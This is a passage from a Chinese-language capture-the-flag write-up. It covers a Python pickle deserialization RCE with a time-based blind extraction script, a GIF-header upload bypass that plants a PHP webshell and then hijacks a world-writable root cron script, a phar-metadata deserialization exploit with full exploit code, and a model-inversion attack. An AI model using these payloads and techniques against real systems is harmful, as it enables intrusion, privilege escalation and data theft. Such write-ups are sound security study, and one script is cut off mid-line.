if __name__ == "__main__":
repair_png()

flag{3a885a8b4479db9c15ede424b93c400e}
Web
python!!!反序列化【困难】

python反序列化 盲注

测试命令执行
构造一个的payload,执行sleep 5看响应时间:
import base64
payload = """cos
system
(S'sleep 5'
tR."""
encoded = base64.b64encode(payload.encode()).decode()
print(encoded)
得到:Y29zCnN5c3RlbQooUydzbGVlcCA1Jwp0Ui4=
请求测试

存在RCE
payload1 = 'cosnsystemn(S'sh -c "[ -f /flag ] && sleep 3"'ntR.'
payload2 = 'cosnsystemn(S'sh -c "[ -f /flag.txt ] && sleep 3"'ntR.'

得到
Y29zCnN5c3RlbQooUydzaCAtYyAiWyAtZiAvZmxhZyBdICYmIHNsZWVwIDMiJwp0Ui4=
Y29zCnN5c3RlbQooUydzaCAtYyAiWyAtZiAvZmxhZy50eHQgXSAmJiBzbGVlcCAzIicKdFIu
测试 /flag 是否存在

存在
后面测试需要用时间盲注提取flag逐字符爆破
exp.py
import base64
import string
import time
import requests
URL = "https://c56-t785-chal3.challenges.wdsec.com.cn/"
def make_payload(cmd: str) -> str:
raw = f"cosnsystemn(S'{cmd}'ntR.".encode()
return base64.b64encode(raw).decode()
def request_time(cmd: str) -> float:
data = {
"action": "check_book",
"serialized_book": make_payload(cmd),
}
t0 = time.time()
try:
requests.post(URL, data=data, timeout=15)
except:
pass
return time.time() - t0
def get_char_grep(pos: int, charset: str, threshold: float) -> str:
"""Use grep with regex to match character at position."""
for ch in charset:
if ch in r'.[]{}()*+?|^

flag{161fa496-c722-42e1-aefc-d696dd31ea9d}
UPload_is_Funny&Easy

直接访问什么也没有

直接目录扫描

可以发现是文件上传题目

先直接试上传,发现普通 txt 和 php 都不行,报错是只允许 JPG、PNG、GIF。
但是这里的校验不是看后缀,而是看文件内容是不是图片,只有文件头的校验
只有 GIF89a 头的文件,可以成功上传,可以看到返回路径



在上传一次抓包 改后缀为php

上传成功
访问

https://c56-t785-chal37.challenges.wdsec.com.cn/uploads/69e312a88a911_1.php?x=id

可以命令执行了

发现flag看权限:
?x=ls -l /flag /fllllag.sh

/flag 只有 root 能读,当前 WebShell 是 www-data,直接 cat /flag 读不到。
去看 /fllllag.sh
?x=cat /fllllag.sh
内容
#!/bin/bash
rm -rf /var/www/html/uploads/*.php

这个点就很明显了。
这个脚本权限是 777,说明谁都能改。
而它明显不是手工执行用的,更像是 root 的定时任务,定期清理上传目录里的 PHP 文件。
那就不用再找别的提权点了,直接劫持这个脚本。
把它改成:
#!/bin/bash
cp /flag /var/www/html/uploads/flag.txt
chmod 644 /var/www/html/uploads/flag.txt
命令
https://c56-t785-chal37.challenges.wdsec.com.cn/uploads/69e31609b208c_1.php?x=printf%20%27#!/bin/bash%5Cncp%20/flag%20/var/www/html/uploads/flag.txt%5Cnchmod%20644%20/var/www/html/uploads/flag.txt%5Cn%27%20%3E%20/fllllag.sh

改完以后等计划任务下一次执行。
然后访问:
/uploads/flag.txt
就可以解出flag了
flag{linux_is_very_funny}
hard审计PHP

扫描目录可以发现 源码泄露



主要看
show.php,class.php,upload.php
审计show.php

show.php主要逻辑是:
禁止 http 和 ftp 开头
只允许路径后缀是 jpg/jpeg/gif/png
file_exists($_GET['path'])`
file_get_contents($_GET['path'])
漏洞是 file_exists()。
如果传入 phar://...,会触发 phar metadata 反序列化。
因为它只做了“后缀判断”,所以可以构造:
phar://./upload/xxx.png/a.jpg
既满足后缀,又能触发反序列化。
审计class.php

User::__destruct()会遍历 $this->photos
对每个 $photo 调用 $photo->exists()
如果对象没有该方法,会走对象的 __call()
Log::__call() 里执行:
call_user_func($this->error, $this->arg1, $this->arg2)
所以可控点很直接:
error = call_user_func
arg1 = system
arg2 = cat /flag;cat /flag.txt
这样 __call 触发后就会执行系统命令。
解题

写一个带恶意 metadata 的 phar
stub 伪装成图片头,改名 exp.png
走正常上传接口 upload.php 上传
从返回里提取真实文件名 ./upload/时间戳.png
访问:
show.php?path=phar://./upload/时间戳.png/a.jpg
exp.py
import os
import re
import subprocess
import tempfile
import requests
BASE = "https://c56-t785-chal39.challenges.wdsec.com.cn"
CMD = "cat /flag;cat /flag.txt;ls -la /"
php_payload = """<?php
class User{private $name;private $age;private $photos;}
class Log{public $error;public $arg1;public $arg2;}
$log=new Log();
$log->error='call_user_func';
$log->arg1='system';
$log->arg2=$argv[1]??'cat /flag';
$user=new User();
$r=new ReflectionClass('User');
$p=$r->getProperty('photos');
$p->setAccessible(true);
$p->setValue($user,[$log]);
@unlink(__DIR__.'/exp.phar');
@unlink(__DIR__.'/exp.png');
$phar=new Phar(__DIR__.'/exp.phar');
$phar->startBuffering();
$phar->addFromString('a.jpg','x');
$phar->setStub("GIF89a<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($user);
$phar->stopBuffering();
rename(__DIR__.'/exp.phar',__DIR__.'/exp.png');
echo "ok\n";
"""
with tempfile.TemporaryDirectory() as d:
build_php = os.path.join(d, "build.php")
with open(build_php, "w", encoding="utf-8") as f:
f.write(php_payload)
subprocess.run(["php", "-d", "phar.readonly=0", build_php, CMD], cwd=d, check=True)
exp_png = os.path.join(d, "exp.png")
with open(exp_png, "rb") as fp:
r = requests.post(
BASE + "/upload.php",
data={"title": "x", "name": "x", "age": "1"},
files={"photo": ("exp.png", fp, "image/png")},
timeout=20
)
m = re.search(r"./upload/(d+.png)", r.text)
if not m:
print(r.text)
raise SystemExit("upload filename not found")
fname = m.group(1)
trigger = BASE + f"/show.php?path=phar://./upload/{fname}/a.jpg"
rr = requests.get(trigger, timeout=20)
out = rr.content.decode("utf-8", "ignore")
print(out)
flag = re.search(r"flag\{[^}]+\}", out)
if flag:
print("FLAG:", flag.group(0))

flag{jjk81jsh10a1lo1p0}
AI
EzAI-NaiveModel【中等】
看附件

也就是说正样本永远是同一张图,负样本全是随机噪声。
这个模型本质上不是在学分类,而是在记那一张图。
模型结构也很简单,就是个全连接:
self.fc1 = torch.nn.Linear(28*28, 512)
self.fc2 = torch.nn.Linear(512, 128)
self.fc3 = torch.nn.Linear(128, 2)
所以拿到 model.pth 以后,直接做输入反演就行。随机初始化一张 28x28 图,不断优化它,让模型对 class=1 的输出尽量高。
训练时做了:
transforms.Normalize((0.5,), (0.5,))
所以反演时也按这个分布喂进去。
exp.py
import torch
import cv2
from PIL import Image
class M(torch.nn.Module):
def __init__(self):
super().__init__()
self.fc1 = torch.nn.Linear(784, 512)
self.fc2 = torch.nn.Linear(512, 128)
self.fc3 = torch.nn.Linear(128, 2)
def forward(self, x):
x = torch.flatten(x, 1)
x = torch.relu(self.fc1(x))
x = torch.relu(self.fc2(x))
return torch.softmax(self.fc3(x), dim=-1)
model = M()
model.load_state_dict(torch.load('model.pth', map_location='cpu'))
model.eval()
z = torch.randn(1, 1, 28, 28, requires_grad=True)
opt = torch.optim.Adam([z], lr=0.1)
for _ in range(3000):
x = torch.sigmoid(z)
y = model((x - 0.5) / 0.5)[0, 1]
loss = -y
opt.zero_grad()
loss.backward()
opt.step()
img = (torch.sigmoid(z).detach()[0, 0] * 255).byte().numpy()
Image.fromarray(img, mode='L').save('recon.png')
img = cv2.imread('recon.png')
img = cv2.resize(img, None, fx=8, fy=8, interpolation=cv2.INTER_NEAREST)
print(cv2.QRCodeDetector().detectAndDecode(img)[0])

扫描就行

flag{Simplified_MI_Attack}
总结
这个比赛难评,理论题是直接没有了, 我是做了30几题目直接就没有了,后门直接就宣布理论题不计入成绩,而且18:00比完赛18:20交wp,额,很无语,而且容器题目只要答对就无法在开启,所以你需要边做wp边做题目,体验感非常不好,第一次比赛所以非常多人都进不去,后面就延期了,第一次比赛的人挺多的,估计有七八百人结果出来这,所以第二次比赛,人数非常少,高校+社会赛道估计就快300人左右,题目难度,不难,出的题目非常喜欢flag分成好多段。看这个也是第一届,就不多说什么了
